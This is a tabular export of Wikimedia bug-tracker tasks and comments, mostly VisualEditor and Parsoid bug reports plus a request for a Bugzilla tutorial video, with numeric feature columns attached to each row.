270253,Images: {{largethumb}} template on nlwiki getting substituted on save,This doesn't round trip in Parsoid.,,,1382449752,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,This doesn't round trip in Parsoid.
270244,Images: {{largethumb}} template on nlwiki getting substituted on save,"**romaine.wiki** wrote:

I haven't seen it happen with other templates so far.",,,1381767772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.85,"**romaine.wiki** wrote:

I haven't seen it happen with other templates so far."
270237,Images: {{largethumb}} template on nlwiki getting substituted on save,"Is this just the {{largethumb}} template, or are there others? (Templates that define some but not all of the parameters of an image are particularly troublesome.)",,,1380833746,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,13,,6.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.942857142857143,0.8571428571428571,"Is this just the {{largethumb}} template, or are there others? (Templates that define some but not all of the parameters of an image are particularly troublesome.)"
56794,VisualEditor: Linebreaks not preserved when converting preformatted text to paragraph text. ↵ Displayed in VE but not saved.,"Screenshot explaining issue with visualeditor

Hi
These are the steps:

*Create a preformatted multiline text, inserting a space before each line, in source mode.
*Open visualeditor, select the text inside the box (the preformatted text)
*Change text type to ""paragraph""
*The text is badly converted, return characters appear on the line. If the text is saved the return characters are lost.
*This happens in other cases too, tab symbols are displayed sometimes.

Thank you.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12384}",Medium,50.0,1380563940,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,False,PHID-TASK-iesy7n57vtjmvbveuqa4,task_description,open,True,c1,3,False,False,,13,,0.5,0.0,0.0,3.0,0.0,4.0,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,5.5,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,3.5,9.0,1.0,0.0,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,5.0,1.5,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.876923076923077,0.6384615384615384,"Screenshot explaining issue with visualeditor

Hi
These are the steps:

*Create a preformatted multiline text, inserting a space before each line, in source mode.
*Open visualeditor, select the text inside the box (the preformatted text)
*Change text type to ""paragraph""
*The text is badly converted, return characters appear on the line. If the text is saved the return characters are lost.
*This happens in other cases too, tab symbols are displayed sometimes.

Thank you.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12384}"
269785,VisualEditor: Linebreaks not preserved when converting preformatted text to paragraph text. ↵ Displayed in VE but not saved.,The ↵ characters indicate that the newline is preserved as if you edit the page subsequently and convert the paragraph to preformatteed the line breaks return.,,,1380644617,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-iesy7n57vtjmvbveuqa4,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,4.0,7.0,4.0,19.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.962962962962963,0.8888888888888888,The ↵ characters indicate that the newline is preserved as if you edit the page subsequently and convert the paragraph to preformatteed the line breaks return.
56759,"VisualEditor: Provide a way (beyond Ctrl-Click, middle-click, or right-click/tab) to open links in another window","I couldn't find a way to click the links while editing and go to the target page. It's not easily available in the source editor, so it's not really a regression, but I find myself needing this features every time I edit, because the links are blue and look like links.

GMail and Google have reasonably good ways of going to links' targets in editing mode, so hints can be taken from them.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50321",Medium,50.0,1380443280,1405375886.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-ge3lxw5vifprlb3diogc,task_description,resolved,True,c1,3,False,False,False,12,,0.5,0.0,0.0,1.0,1.5,3.0,0.5,0.5,0.0,0.0,1.5,1.5,0.0,0.0,0.0,2.0,0.0,4.5,8.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,3.5,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,12.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.0,1.5,8.0,2.5,2.5,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,1.5,3.0,0.0,0.0,0.0,3.654135338345865,0.7075501253132832,"I couldn't find a way to click the links while editing and go to the target page. It's not easily available in the source editor, so it's not really a regression, but I find myself needing this features every time I edit, because the links are blue and look like links.

GMail and Google have reasonably good ways of going to links' targets in editing mode, so hints can be taken from them.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
267856,"VisualEditor: Provide a way (beyond Ctrl-Click, middle-click, or right-click/tab) to open links in another window",Fixed in gerrit 139550.,,,1405375886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ge3lxw5vifprlb3diogc,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed in gerrit 139550.
267851,"VisualEditor: Provide a way (beyond Ctrl-Click, middle-click, or right-click/tab) to open links in another window","Right-click and 'open in new tab' works for me (tested in Firefox 24), but it'd be better to have something findable in the edit toolbar (or at *least* the link edit dialog) with a 'regular' click.

Right-click or long-press for context menus aren't something everybody knows well or jumps straight to.",,,1380484636,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ge3lxw5vifprlb3diogc,task_subcomment,,True,c1,3,False,,,12,,0.0,4.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,12.0,1.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,3.4657534246575343,0.7123287671232876,"Right-click and 'open in new tab' works for me (tested in Firefox 24), but it'd be better to have something findable in the edit toolbar (or at *least* the link edit dialog) with a 'regular' click.

Right-click or long-press for context menus aren't something everybody knows well or jumps straight to."
56757,VisualEditor: Show user that drag-and-drop of textual content is not supported,"+++ This bug was initially created as a clone of Bug #50643 comment 6 +++

Steps to reproduce:
1. Edit a page in VE
2. Select a piece of textual content without any fancy stuff in it.
3. Drag it to another location in the page

Expected results:
The cursor should be a disabled-drop icon

Actual results:
The cursor is an 'image' icon

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1380437160,1403008828.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-g2els4untqmatfgmtodr,task_description,declined,True,c1,3,False,False,False,12,,0.5,0.0,0.0,0.5,0.0,4.0,2.0,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,5.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,16.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.5,9.5,0.0,0.0,8.5,0.0,0.0,0.0,0.5,3.0,0.0,2.0,0.0,1.5,5.5,0.5,0.0,2.0,0.0,1.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.5,3.4042089985486212,0.6756168359941945,"+++ This bug was initially created as a clone of Bug #50643 comment 6 +++

Steps to reproduce:
1. Edit a page in VE
2. Select a piece of textual content without any fancy stuff in it.
3. Drag it to another location in the page

Expected results:
The cursor should be a disabled-drop icon

Actual results:
The cursor is an 'image' icon

--------------------------
**Version**: unspecified
**Severity**: enhancement"
267766,VisualEditor: Show user that drag-and-drop of textual content is not supported,"Given we are about to support text drag and drop with bug 49981, marking as wontfix.",,,1403008828,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g2els4untqmatfgmtodr,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Given we are about to support text drag and drop with bug 49981, marking as wontfix."
267760,VisualEditor: Show user that drag-and-drop of textual content is not supported,"What the?  Drag and drop text appears to be not working in Chrome either; I am pretty sure I remember dragging and dropping text in Chrome in July, but maybe I am mistaken.",,,1380601042,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-g2els4untqmatfgmtodr,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,21.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,11.0,8.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6842105263157894,0.7894736842105263,"What the?  Drag and drop text appears to be not working in Chrome either; I am pretty sure I remember dragging and dropping text in Chrome in July, but maybe I am mistaken."
56705,VisualEditor: Dropdown clipping is a bit too aggressive,"Dropdown clipping

Referring to the attached screenshots there are two issues:

1. The width is not adjusted to account for the OS scrollbacks. I assume this is because has one of those fancy Macintosh computers that doesn't know how to draw a big chunky old-fashioned scroll bar.

2. The assumption is made the the height of the VE container is the maximum height the scrollbar expand to. Here that is clearly not the case. It may be the case that because we don't know what lies beyond the borders of VE (e.g. z-index 9999 banner), we can't do anything about this. Maybe we can make the assumption the page content is sane, and if the dropdown ends up obscured, leave that as an integration problem for the user?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=69707

**Attached**: {F12176}",Medium,50.0,1380295440,1415881674.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-5udersenidwseo6m5grs,task_description,resolved,True,c1,3,True,False,False,12,,0.0,0.5,0.0,1.0,2.5,5.5,2.0,1.0,0.0,0.5,1.0,1.5,0.0,0.0,0.5,2.0,0.0,5.5,8.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,14.0,1.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,1.0,0.0,0.5,1.0,9.0,4.0,9.5,2.5,0.5,11.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,2.5,8.5,2.5,0.5,0.0,0.0,2.5,0.0,1.5,1.0,0.0,0.5,0.0,0.0,1.0,3.6947368421052627,0.6789473684210526,"Dropdown clipping

Referring to the attached screenshots there are two issues:

1. The width is not adjusted to account for the OS scrollbacks. I assume this is because has one of those fancy Macintosh computers that doesn't know how to draw a big chunky old-fashioned scroll bar.

2. The assumption is made the the height of the VE container is the maximum height the scrollbar expand to. Here that is clearly not the case. It may be the case that because we don't know what lies beyond the borders of VE (e.g. z-index 9999 banner), we can't do anything about this. Maybe we can make the assumption the page content is sane, and if the dropdown ends up obscured, leave that as an integration problem for the user?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F12176}"
264435,VisualEditor: Dropdown clipping is a bit too aggressive,Fixed in OOjs UI with gerrit 157295.,,,1415881674,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5udersenidwseo6m5grs,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Fixed in OOjs UI with gerrit 157295.
264431,VisualEditor: Dropdown clipping is a bit too aggressive,"Corrections:
scrollbacks -> scroll bars
is because has -> is because Trevor has",,,1380301150,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-5udersenidwseo6m5grs,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.8333333333333335,0.6666666666666666,"Corrections:
scrollbacks -> scroll bars
is because has -> is because Trevor has"
56657,VisualEditor: Switching from categories to languages while suggestion popup is open doesn't close popup,"Screenshot of languages dialog tab with the new-category popup in front

Switching from categories to languages while suggestion popup is open doesn't close popup -- see screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12105}",Medium,50.0,1380219960,1398184329.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-4y6au3cwi5b6pobrhrz5,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.183333333333334,0.6833333333333333,"Screenshot of languages dialog tab with the new-category popup in front

Switching from categories to languages while suggestion popup is open doesn't close popup -- see screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12105}"
262038,VisualEditor: Switching from categories to languages while suggestion popup is open doesn't close popup,This was fixed a while ago.,,,1398184329,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4y6au3cwi5b6pobrhrz5,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,This was fixed a while ago.
56656,VisualEditor: Category editing tool should preview or at least link to the input categories,"Screenshot of category dialog, showing no apparent way to get at the listed categories

The category suggestion tool seems to provide a simple typeahead search, but provides no way to go and see if the categories you've found are relevant.

At a minimum, you should be able to open up the category page via a link from the search box and and the little tag display.

Better still might be a little preview that pulls the description text (if any) and some sample contents right within the dialog box.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F12103}",Medium,50.0,1380219780,,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-w3ca2knqurlwdolz6rth,task_description,open,True,c1,3,False,False,,12,,1.5,0.0,0.0,0.0,0.0,4.5,2.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,7.0,0.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,3.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,0.0,16.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,5.5,1.5,3.5,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,7.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,3.9913461538461537,0.6895432692307693,"Screenshot of category dialog, showing no apparent way to get at the listed categories

The category suggestion tool seems to provide a simple typeahead search, but provides no way to go and see if the categories you've found are relevant.

At a minimum, you should be able to open up the category page via a link from the search box and and the little tag display.

Better still might be a little preview that pulls the description text (if any) and some sample contents right within the dialog box.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F12103}"
261999,VisualEditor: Category editing tool should preview or at least link to the input categories,Seems like a nice idea. Provide a link in the category menu?,,,1415881475,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w3ca2knqurlwdolz6rth,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,14.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9285714285714286,Seems like a nice idea. Provide a link in the category menu?
56606,Make tutorial video on how to use Bugzilla,"This is kind of a meta bug and not an actual issue in BZ. Couldn't think of a better place to file it...

Filing bugs/enhancements is difficult for some people to figure out. We can lower the barrier pretty easily by making a 1 or 2 minute video showing you how. Upload to commons, link to from BZ main page.

Key components:
- Sign up
- Choosing the right product
- Giving clear description of the problem/request
-- Screenshots are fantastic
-- Providing links is great too
- Make sure to emphasize to not worry about filling all the fields out properly, the important step is opening the bug!

Major props to User:Biosthmors on enwiki for coming up with the idea.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**Whiteboard**: gci2013 https://www.mediawiki.org/wiki/Google_Code-In#Candidate_tasks
**URL**: https://commons.wikimedia.org/wiki/File:How_to_file_a_report_in_Bugzilla.webm
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52696",Medium,50.0,1380129240,1389653591.0,PHID-USER-oetk6bbl6omm354ejz3b,False,,False,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_description,resolved,True,c1,3,False,False,False,12,,1.0,0.0,0.0,0.0,1.5,6.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,6.0,11.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.0,1.5,0.5,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,15.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,5.5,2.5,13.0,0.5,1.0,7.0,0.0,0.0,0.5,0.0,5.0,0.0,1.0,0.0,1.5,11.5,3.0,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,4.5,0.5,0.0,0.0,3.556701030927835,0.6752577319587629,"This is kind of a meta bug and not an actual issue in BZ. Couldn't think of a better place to file it...

Filing bugs/enhancements is difficult for some people to figure out. We can lower the barrier pretty easily by making a 1 or 2 minute video showing you how. Upload to commons, link to from BZ main page.

Key components:
- Sign up
- Choosing the right product
- Giving clear description of the problem/request
-- Screenshots are fantastic
-- Providing links is great too
- Make sure to emphasize to not worry about filling all the fields out properly, the important step is opening the bug!

Major props to User:Biosthmors on enwiki for coming up with the idea.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**Whiteboard**: gci2013 URL
**URL**: URL
**See Also**:
URL"
259189,Make tutorial video on how to use Bugzilla,Excellent work Shujat! Thank you very much :-),,,1389707273,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,28,,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Excellent work Shujat! Thank you very much :-)
259188,Make tutorial video on how to use Bugzilla,"Shujat completed the tutorial, which is available at https://commons.wikimedia.org/wiki/File:How_to_file_a_report_in_Bugzilla.webm

Your help featuring it in mediawiki.org and other projects is welcome!

Thank you very much, Shujat.",,,1389653591,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,28,,3.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,6.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,4.387096774193548,0.8709677419354839,"Shujat completed the tutorial, which is available at URL

Your help featuring it in mediawiki.org and other projects is welcome!

Thank you very much, Shujat."
